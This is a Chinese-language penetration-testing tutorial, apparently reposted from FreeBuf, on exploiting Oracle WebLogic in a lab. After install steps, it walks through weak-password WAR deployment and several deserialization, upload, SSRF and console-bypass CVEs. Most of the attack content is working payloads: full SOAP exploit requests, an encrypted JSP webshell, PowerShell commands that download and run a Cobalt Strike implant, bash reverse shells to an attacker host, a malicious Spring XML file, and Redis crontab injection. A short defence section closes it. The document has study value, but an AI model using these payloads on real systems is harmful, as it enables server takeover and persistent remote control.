目录
WebLogic中间件安全
/    

WebLogic中间件安全

From:https://www.freebuf.com/vuls/278228.html

一、WebLogic简介

WebLogic是美国Oracle公司出品的一个Java应用服务器 ,是一个基于JAVAEE架构的中间件,用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用。

WebLogic Server具有的优势包括:

对业内多种标准的全面支持,包括EJB、JSP、JMS、JDBC、XML(标准通用标记语言的子集)和WML,使Web应用系统的实施更为简单,并且保护了投资,同时也使基于标准的解决方案的开发更加简便。

可扩展性高,包括客户机连接的共享、资源pooling以及动态网页和EJB组件群集

可靠性强,其容错、系统管理和安全性能已经在全球数以千计的关键任务环境中得以验证。

关于WebLogic Server的几个基本概念:

Domain : 域是个逻辑概念,用来组织管理一系列的应用服务器实例,也就是下面要解释的server. 域是WebLogic应用服务器中最大的概念,WebLogic应用服务器启动的时候就是以某个域来启动的,它有一个中心配置文件叫config.xml

Cluster : 族也是一个逻辑概念,用来分组用途相同的服务器实例,一个域中可以有多个族。

Machine : 机器是物理上的概念,代表一台运行WebLogic应用服务器的实在的机器,包括其IP地址等信息。一个域中可以包括多台机器。

Server : 服务器,也就是一个应用服务器的实例,用来部署和运行各种J2EE应用程序,也可以来配置各种服务程序。它是WebLogic应用服务器的基本服务单元。一个WebLogic域中一般有一个管理服务器和多个被管理服务器。也就是下面我们要谈到的两个概念。

Administrative Server : 管理服务器是用来管理配置域的中心点,一般来说,管理服务器上是不部署应用程序的,而是用来统一管理、配置、监控被管理服务器以及部署应用程序到被管理服务器上。一个域中有一台管理服务器。

Managed Server : 被管理服务器是用来部署运行各种应用程序的。一个域中有一台或多台被管理服务器。

Node Manager : 节点管理器是一个单独运行的后台程序,一般运行在被管理服务器的机器上,用来提供远程启动和停止服务器(Server)的功能。

目前WebLogic Server较为常见的版本:

Weblogic 10.3.6.0

Weblogic 12.1.3.0

Weblogic 12.2.1.1

Weblogic 12.2.1.2

Weblogic 12.2.1.3

默认端口:7001

二、软件安装及配置

1、WebLogic10.3.6下载及安装

下载网址: https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html

WebLogicJDK版本适配关系:(大概的关系,具体到每一个详细的版本,需要去对应测试选择)

WebLogic 14.x 需要 jdk1.8以上
WebLogic 12.x 需要 jdk1.7以上
WebLogic 10.x 需要 jdk1.6以上

安装过程:

这里选择WebLogic Server 10.3.6版本进行安装

复现环境为Win7,选择下图中的版本

1)双击该安装程序 下载好该文件,双击该程序

这里简单的操作或者默认下一步就不放图了

2)Preparing the installer|选择中间件主目录

默认下一步,默认安装目录

3)注册安全更新

默认,在跳出的框中选择YES

选择不接收配置中存在的安全问题

4)选择安装类型

选择典型

5)选择产品安装目录

默认,下一步

6)选择快捷方式位置

默认,下一步

7)安装概要

默认,进入安装

8)安装完成

默认,下一步

9)Quick Start

选择第一项

10)WebLogic域

默认(创建新的WebLogic域)

11)选择域源

默认,下一步

12)输入域的名称

默认,下一步

13)配置管理员用户名和口令

输入8位的口令

这里我设置 12345678Xxxx

14)配置服务器启动模式和JDK

选择 生产模式

15)选择可选配置

选择前两项

16)配置管理服务器

设置 Listen address192.168.112.150(本机IP地址,使用 ipconfig命令查看)

17)配置受管服务器

默认,下一步

18)配置集群

默认,下一步

19)配置计算机

默认,下一步

20)配置概要

默认,开始创建

2、WebLogic10.3.6配置

1)启动weblogic服务

在路径 C:\Oracle\Middleware\user_projects\domains\base_domain下打开 startWebLogic.cmd命令脚本,输入用户名和口令即可启动。

访问 192.168.112.150:7001,回显404,但是7001端口开启

)网页后台登陆

访问 192.168.112.150:7001/console进入后台登陆页面,用户名和口令就是刚刚设置的 weblogic:123465789XXXXX

注意点:左下角可以看到版本号

3、WebLogic12.1.3下载及安装

安装的方法类似,简要记录下

1)安装JDK7

2)下载WebLogic12.1.3

下载地址:https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html

3)启动安装

下载好后的文件放置到了jdk的bin目录下,省得配环境

4)默认下一步,安装

安装好后,点击完成

5)安装域 - 在开始菜单找到Configuration Wizard

点击启动

6)创建新域

7)管理员账户

模板设置默认下一步,到管理员账户输入登陆口令,设置为xigua123

8)高级配置

域模式默认为"开发模式"和JDK选择默认下一步,到高级配置勾选管理服务器

9)管理服务器

监听地址选择为本地地址192.168.112.179

10)节点服务器

填写用户名和口令

11)配置概要、配置进度、配置完毕

均默认下一步,安装域完成~

域位置
C:/Oracle/Middleware/Oracle_Home/user_projects/domains/base_domain
管理服务器URL
http://192.168.112.179:7001/console

4、WebLogic12.1.3配置

1)启动weblogic服务

在目录C:/Oracle/Middleware/Oracle_Home/user_projects/domains/base_domain启动startWebLogic.cmd

2)网页后台登陆

访问 192.168.112.150:7001/console进入后台登陆页面,用户名和口令就是刚刚设置

三、WebLogic渗透

1、弱口令登陆部署shell文件

0x01 简介

用户管理员在配置密码时将登陆口令设置为简易的弱口令,这使得攻击者可以很容易的猜解到口令并登陆进后台,通过部署木马文件,拿到shell,进行进一步的渗透

0x02 复现 - 部署shell文件冰蝎连接

1)弱口令登陆后台

2)部署 - 安装

3)上传文件

4)选择war包

5)成功上传

默认下一步

C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\upload\shell.war

6)部署为应用程序

7)部署完成

8)冰蝎连接

2、XMLDecoder反序列化漏洞(CVE-2017-3506)

本次漏洞绕过只生效于JDK6,可升级JDK版本至JDK7及以上。

0x01 简介

漏洞简述:WebLogic Server WLS组件在调用XMLDecoder进行解析XML数据时,触发反序列化漏洞进而造成远程命令执行。(WebLogic Server WLS组件对外提供webservice服务,使用XMLDecoder来解析用户传入的XML数据)

漏洞触发点:位于wls-wsat.war

触发漏洞url:http://192.168.xx.xx:7001/wls-wsat/CoordinatorPortType(使用post数据包)

漏洞利用:通过构造构造SOAP(XML)格式的请求,在解析的过程中导致XMLDecoder反序列化漏洞。

WebLogic Server WLS组件对外提供webservice服务,使用XMLDecoder来解析用户传入的XML数据

0x02 漏洞指纹

访问以下目录中的一种,有回显如下图可以判断wls-wsat组件存在

/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

这些目录定义在 web.xml配置文件中,文件位于路径 C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\wls-wsat\54p17w\war\WEB-INF中,打开该文件可以看到所配置的网址。

0x03 漏洞复现 - 写入jsp木马文件getshell

1)抓包改包

访问http://192.168.112.150:7001/wls-wsat/CoordinatorPortType页面,存在漏洞

使用burpsuite抓包,修改包内容

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.112.150:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 1105

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter"> 
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/xigua.jsp</string>
<void method="println">
<string>
<![CDATA[
<[email protected] import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

2)冰蝎连接

ok

0x04 漏洞复现 - 执行powershell命令上线CS

1)CS生成后门木马文件

2)公网服务器开启简易Web服务器模式

这里由于是复现,使用Kali开启简易Web服务器,将生成的木马放在该目录下,可以访问到

3)powershell下载执行命令

powershell -Command (new-object System.Net.WebClient).DownloadFile('http://192.168.112.175/xigua.exe','xigua.exe');start-process xigua.exe

4)抓包修改包

访问http://192.168.112.150:7001/wls-wsat/CoordinatorPortType页面,存在漏洞

使用burpsuite抓包,修改包内容

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.112.150:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 897

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>powershell</string>
</void>
<void index="1">
<string>-Command</string>
</void>
<void index="2">
<string>(new-object System.Net.WebClient).DownloadFile('http://192.168.112.175/xigua.exe','xigua.exe');start-process xigua.exe</string>
</void>
</array>
<void method="start"/></object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

上线CS成功

3、XMLDecoder反序列化漏洞(CVE-2017-10271)

CVE-2017-10271和上面的CVE-2017-3506利用原理在本质上是一致的,只不过CVE-2017-10271绕过了CVE-2017-3506的补丁

0x01 漏洞复现-反弹shell

靶场IP:192.168.112.144

1)抓包改包发包

访问http://192.168.112.144:7001/wls-wsat/CoordinatorPortType页面,存在漏洞

使用burpsuite抓包,修改包内容

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.112.144:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.112.175/8888 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

0x02 原理分析

参考大佬的文章

Weblogic XMLDecoder RCE分析 (seebug.org)

简单描述:在CVE-2017-3506之前,不对payload进行验证,使用object tag可以RCE,CVE-2017-3506的补丁在 weblogic/wsee/workarea/WorkContextXmlInputAdapter.java中添加了validate方法,在解析xml时,Element字段出现object tag就抛出运行时异常,不过这次防护力度不够,导致了CVE-2017-10271,利用方式类似,使用了void tag进行RCE,于是CVE-2017-10271的补丁将object、new、method关键字加入黑名单,针对void和array这两个元素是有选择性的抛异常,其中当解析到void元素后,还会进一步解析该元素中的属性名,若没有匹配上index关键字才会抛出异常。而针对array元素而言,在解析到该元素属性名匹配class关键字的前提下,还会解析该属性值,若没有匹配上byte关键字,才会抛出运行时异常。总之,这次的补丁基本上限定了不能生成java实例。

0x03 小结

这两个CVE漏洞本质上就是反序列化恶意代码xml解析生成了java实例,造成了远程代码执行

4、wls-wsat反序列化漏洞(CVE-2019-2725)

0x01 简介

漏洞简述:

漏洞触发点:bea_wls9_async_response.war、wsat.war

影响版本:Oracle WebLogic Server 10.* 、Oracle WebLogic Server 12.1.3

0x02 漏洞指纹

访问以下目录中的一种,有回显如下图则存在该漏洞

/_async/AsyncResponseService
/_async/AsyncResponseServiceJms
/_async/AsyncResponseServiceHttps
/_async/AsyncResponseServiceSoap12
/_async/AsyncResponseServiceSoap12Jms
/_async/AsyncResponseServiceSoap12Https

这些目录定义在 C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\bea_wls9_async_response\8tpkys\war\WEB-IN``F\web.xml,打开该文件可以看到所配置的网址

0x03 复现 - 上线CS

复现环境:

Win7 192.168.112.150

Kali Linux 192.168.112.175

关键powershell命令如下:

powershell -Command (new-object System.Net.WebClient).DownloadFile('http://192.168.112.175/xigua.exe','xigua.exe');start-process xigua.exe

1)访问网页

访问 http://192.168.112.150:7001/_async/AsyncResponseService,存在漏洞

2)burpsuite抓包改包

将POST数据内容改成下面

POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.112.150:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 852
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml
cmd:whoami

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>powershell</string>
</void>
<void index="1">
<string>-Command</string>
</void>
<void index="2">
<string>(new-object System.Net.WebClient).DownloadFile('http://192.168.112.175/xigua.exe','xigua.exe');start-process xigua.exe</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header><soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

3)发包

这里利用的后门木马文件使用上面生成的

0x04 复现 - 反弹shell

复现环境:

Ubuntu_Vulhub 192.168.112.144 Kali Linux 192.168.112.175

1)访问页面

访问 http://192.168.112.144:7001/_async/AsyncResponseService,存在漏洞

2)抓包改包

将POST数据内容改成下面

POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.112.144:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 852
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml
cmd:whoami

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.112.175/9999 0>&1</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header><soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

0x05 原理分析

参考大佬文章:https://www.freebuf.com/articles/web/202203.html

本次的绕过关键点在于利用了Class元素指定任意类名,在CVE-2017-10271补丁中限制了带method属性的void元素,不能调用指定的方法,只能调用完成类实例化过程的构造方法。在寻找利用链的过程中发现UnitOfWorkChangeSet类构造方法中直接调用了JDK原生类中的readObject()方法,并且其构造方法的接收参数恰好是字节数组,这就满足了上一个补丁中array标签的class属性值必须为byte的要求,再借助带index属性的void元素,完成向字节数组中赋值恶意序列化对象的过程,进而利用反序列化漏洞造成RCE,通过巧妙的利用了void、array和Class这三个元素成功的打造了利用链,再次完美的绕过了CVE-2017-10271补丁限制。

5、WebLogic T3协议反序列化命令执行漏洞(CVE-2018-2628)

0x01 简介

Oracle WebLogic Server的T3通讯协议的实现中存在反序列化漏洞。远程攻击者通过T3协议在Weblogic Server中执行反序列化操作,利用RMI(远程方法调用) 机制的缺陷,通过 JRMP 协议(Java远程方法协议)达到执行任意反序列化代码,进而造成远程代码执行

影响版本:10.3.6.0、12.1.3.0、12.2.1.1、12.2.1.2

基于Weblogic T3协议引起远程代码执行的反序列化漏洞

同是由WebLogic T3协议引起的反序列化漏洞还有

CVE-2015-4852
CVE-2016-0638
CVE-2016-3510
CVE-2017-3248
CVE-2018-2893
CVE-2016-0638

0x02 漏洞指纹

使用脚本CVE-2018-2628-poc.py进行扫描

下载地址:https://github.com/shengqi158/CVE-2018-2628

0x03 复现 - powershell上线CS

1)写入jsp交互文件

使用工具 k8weblogicGUI.exe

写入shell的位置:http://192.168.112.150:7001/bea_wls_internal/wlscmd.jsp

2)使用脚本连接得到交互shell

脚本下载地址:https://github.com/jas502n/CVE-2018-2628

3)上线CS

开启简易Web服务

使用powershell命令下载执行木马文件

powershell -Command (new-object System.Net.WebClient).DownloadFile('http://192.168.112.175/xigua.exe','xigua-T3.exe');start-process xigua-T3.exe

6、WebLogic 未授权访问漏洞(CVE-2018-2894)

0x01 简介

Weblogic Web Service Test Page中有两个未授权页面,可以上传任意文件。但是有一定的限制,该页面在开发模式下存在,如果是生产模式,需要登陆后台进行配置,如下

影响版本:10.3.6、12.1.3、12.2.1.2、12.2.1.3

0x02 漏洞指纹

该测试页一共有两个,如下

/ws_utc/config.do
/ws_utc/begin.do

因此,这里有两种攻击目标方向,下面的复现分别对config.do和begin.do页面进行未授权访问写入jsp文件进而拿shell

0x03 复现 - config.do - Windows环境上线CS

1)设置Work Home Dir为ws_utc应用的静态文件css目录,点击提交即可

C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\com.oracle.webservices.wls.ws-testclient-app-wls_12.1.3\cmprq0\war\css

2)上传Webshell

在安全 - 添加选择大马jsp文件

3)获取文件ID

提前打开F12开发者工具栏,点击提交后会在"网络"出现一条请求,在其响应报文部分可以看到此文件的ID值(也可以使用burpsuite进行查看)

4)访问文件

访问文件所在的网址

http://127.0.0.1:7001/ws_utc/css/config/keystore/{ID}_{文件名}
http://192.168.112.179:7001/ws_utc/css/config/keystore/1624292530214_bighorse.jsp

5)执行powershell命令下载文件上线CS

powershell -Command (new-object System.Net.WebClient).DownloadFile('http://192.168.112.175/xigua.exe','xigua-2894.exe');start-process xigua-2894.exe

0x04 复现 - config.do - Linux环境反弹shell

1)开启vulhub靶机环境

sudo docker-compose up -d

2)生产模式下需要先登陆

由于vulhub的weblogic模式为生产模式,需要进行修改,首先先获取到登陆的账号和密码

sudo docker-compose logs | grep password

jTUtVi3E

3)设置Work Home Dir为ws_utc应用的静态文件css目录,点击提交即可

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

4)上传Webshell

上传JspSpy.jsp文件

5)获取文件ID

提前打开F12开发者工具栏,点击提交后会在"网络"出现一条请求,在其响应报文部分可以看到此文件的ID值(也可以使用burpsuite进行查看)

6)访问文件

http://127.0.0.1:7001/ws_utc/css/config/keystore/{ID}_{文件名}
http://192.168.112.144:7001/ws_utc/css/config/keystore/1624296413135_JspSpy.jsp

7)反弹shel

0x05 复现 - begin.do - Linux环境冰蝎连接

在开发模式下,前往begin.do页面默认不需要验证

1)选择上传的文件

2)在响应报文中发现文件地址

/css/upload/RS_Upload_2021-06-21_17-39-04_667/import_file_name_shell.jsp

3)冰蝎连接

http://192.168.112.144:7001/ws_utc/css/upload/RS_Upload_2021-06-21_17-39-04_667/import_file_name_shell.jsp

7、WebLogic SSRF漏洞(CVE-2014-4210)

0x01 简介

Weblogic SSRF漏洞出现在UDDI组件实现包uddiexplorer.war下的SearchPublicRegistries.jsp

0x02 漏洞指纹

访问url:http://192.168.112.144:7001/uddiexplorer/SearchPublicRegistries.jsp

出现下面内容表示存在此SSRF漏洞

0x03 抓包分析

情况一:ssrf请求端口存在,但非http协议

<p>An error has occurred<BR>
weblogic.uddi.client.structures.exception.XML_SoapException: The server at http://127.0.0.1:7001 returned a 404 error code (Not Found).  Please ensure that your URL is correct, and the web service has deployed without error.

情况二:ssrf请求端口不存在

<p>An error has occurred<BR>
weblogic.uddi.client.structures.exception.XML_SoapException: Tried all: '1' addresses, but could not connect over HTTP to server: '127.0.0.1', port: '80'

情况三:ssrf请求端口存在,且为http协议

<p>An error has occurred<BR>
weblogic.uddi.client.structures.exception.XML_SoapException: Received a response from url: http://192.168.160.2:6379 which did not have a valid SOAP content-type: null.

8、WebLogic Console 权限绕过漏洞&RCE(CVE-2020-14882/14883)

0x01 简介

通过构造恶意的HTTP GET请求,接管WebLogic的Console控制台组件中,不过与正常登陆进去的不一样,没有部署安装的按钮,需要用其他办法拿shell

影响版本:10.3.6.0、12.1.3.0、12.2.1.3、12.2.1.4、14.1.1.0

0x02 漏洞指纹

利用到了CVE-2020-14883: 权限绕过漏洞

http://192.168.112.144:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29

0x03 复现 - 无回显创建文件

利用到了CVE-2020-14882: 代码执行漏洞

访问下面恶意构造的网址

http://192.168.112.144:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.
mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch /tmp/xigua%27);%22);

可以发现创建的文件是oracle用户权限较低权且只有读和写的权限,无可执行权限。

Linux权限位参考:http://c.biancheng.net/view/753.html

0x04 复现 - Linux反弹shell

利用到了CVE-2020-14882: 代码执行漏洞,通过加载远程项XML文件执行反弹shell

# reverse-bash.xml

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>/bin/bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/192.168.112.175/8888 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>

访问下面的网址,加载192.168.112.175上的reverse-bash.xml文件,执行反弹shell

http://192.168.112.144:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://192.168.112.175/reverse-bash.xml")

以此类推,上线CS则将xml文件内容修改成

# cs.xml

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>/bin/bash</value>
<value>-c</value>
<value><![CDATA[powershell -Command (new-object System.Net.WebClient).DownloadFile('http://192.168.112.175/xigua.exe','xigua-14883.exe');start-process xigua-14883.exe]]></value>
</list>
</constructor-arg>
</bean>
</beans>

9、IIOP反序列化漏洞(CVE-2020-2551)

0x01 简介

漏洞原理:IIOP协议在调用远程对象的实现中,JtaTransactionManager未做黑名单过滤导致可以构造任意序列化对象,并且无安全检查

影响版本:10.3.6.0、12.1.3.0、12.2.1.3、12.2.1.4

利用过程:

1.通过 Weblogic 的IP与端口通过 weblogic.jndi.WLInitialContextFactory类进行 IIOP 协议数据交互

2.基于 JtaTransactionManager设置 RMI 加载地址

3.通过 ysoserial构建 Gadgets 并且通过 IIOP 进行绑定,并且触发漏洞

参考大佬文章:

https://paper.seebug.org/1149/#_4

https://xz.aliyun.com/t/7725

0x02 复现环境 - 安装Javac环境1.8版本

底层原理颇为复杂,目前就先上手复现上线CS和反弹shell,原理剖析部分留到日后

javac:是编译命令,将java源文件编译成.class字节码文件。

java:是运行字节码文件;由java虚拟机对字节码进行解释和运行

这里需要用到jdk1.8版本,对于11版本需要删除重装,建议先存个快照,安装步骤如下:

cd /opt
curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz

tar zxvf jdk-8u20-linux-x64.tar.gz
rm -rf /usr/bin/java*
ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin

javac -version
java -version

0x03 复现 - Powershell上线CS

1)编写exp.java代码

import java.io.IOException;
public class exp {
static{
try {
java.lang.Runtime.getRuntime().exec(new String[]{"powershell","/c","(new-object System.Net.WebClient).DownloadFile('http://192.168.112.132/xigua.exe','xigua-IIOP.exe');start-process xigua-IIOP.exe"});
} catch (IOException e) {
e.printStackTrace();
}
}
public static void main(String[] args) {

}
}

2)javac编译exp.java

javac exp.java -source 1.6 -target 1.6

3)启动RMI服务

设置RMI服务端口为7077

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.112.132/#exp" 7077

4)使用工具 - 上线CS

java -jar weblogic_CVE_2020_2551.jar 192.168.112.179 7001 rmi://192.168.112.132:7077/exp

类似的也可以修改exp代码用于反弹shell

import java.io.IOException;
public class exp {
static{
try {
java.lang.Runtime.getRuntime().exec(new String[]{"bash","-i",">& /dev/tcp/192.168.112.132/6655 0>&1"});
} catch (IOException e) {
e.printStackTrace();
}
}
public static void main(String[] args) {

}
}

bash -i >& /dev/tcp/192.168.112.132/6655 0>&1

四、WebLogic SSRF联动Redis

1、复现环境

使用vulhub中weblogic的ssrf靶场,路径为 /vulhub/weblogic/ssrf

执行命令下载开启该靶场

# 开启靶场
sudo docker-compose up -d
# 关闭靶场
sudo docker-compose down
# 查看靶场镜像信息
sudo docker ps

2、复现 - crontab反弹shell

通过ssrf探测内网中的redis服务器,发现 192.168.160.2:6379可以连通,如图,这里可以用脚本探测,不过速度较慢,先直接上手

存在redis数据库,直接通过计划任务反弹shell到Kali Linux(192.168.112.175)上

Redis数据库写入crontab内容的命令

# redis命令: 
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.112.175/5555 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

crontab内容解释:

* * * * * root bash -i >& /dev/tcp/192.168.112.175/5555 0>&1
前面5个*   表示每一分钟执行一次命令
root      以root权限执行命令
bash... 要执行的命令
crontab表达式参考:https://blog.csdn.net/current_person/article/details/52799687

将Redis命令进行url编码,注意换行符为%0D%0A

# url编码后添加至operator参数后:
operator=http://192.168.160.2:6379/test%0D%0A%0D%0Aset+1+%22%5Cn%5Cn%5Cn%5Cn*+*+*+*+*+root+bash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.112.175%2F5555+0%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig+set+dir+%2Fetc%2F%0D%0Aconfig+set+dbfilename+crontab%0D%0Asave%0D%0A%0D%0Aaaa

将operator参数添加至GET请求中,发包

Linux成功监听到反弹shell

六、WebLogic防御措施

1、弱口令

避免使用弱口令作为登陆密码,增强口令的复杂度

2、CVE-2017-3506

升级补丁

官网补丁:https://www.oracle.com/security-alerts/cpuoct2017.html

3、CVE-2017-10271

升级补丁

官网补丁:https://www.oracle.com/security-alerts/cpuoct2017.html

4、CVE-2019-2725

禁用bea_wls9_async_response组件

5、CVE-2018-2628

过滤T3协议或安装补丁

6、CVE-2018-2894

升级到最新版本,这两处页面已删除

7、CVE-2014-4210

升级补丁

8、CVE-2020-14882 | CVE-2020-14883

升级补丁

官方补丁:https://www.oracle.com/security-alerts/cpuoct2020traditional.html

9、CVE-2020-2551

通过 weblogic 控制台进行关闭 IIOP 协议,然后重新启动 weblogic服务。

安装 weblogic 修复补丁,进行修复。

七、参考

weblogic SSRF漏洞(CVE-2014-4210)检测利用tdcoming'blog-CSDN博客cve-2014-4210

Weblogic SSRF漏洞复现(CVE-2014-4210)-Linux实验室 (wanyunshuju.com)

CVE-2020-14882&CVE-2020-14883 Weblogic未授权远程命令执行漏洞 - 只言 - 博客园 (cnblogs.com)

从0学习WebLogic CVE-2020-2551漏洞 - 先知社区 (aliyun.com)

**FROM:中间件安全之WebLogic渗透 本文作者:Kr1pt0 ** 感谢大佬总结,本文用户学习收集🙏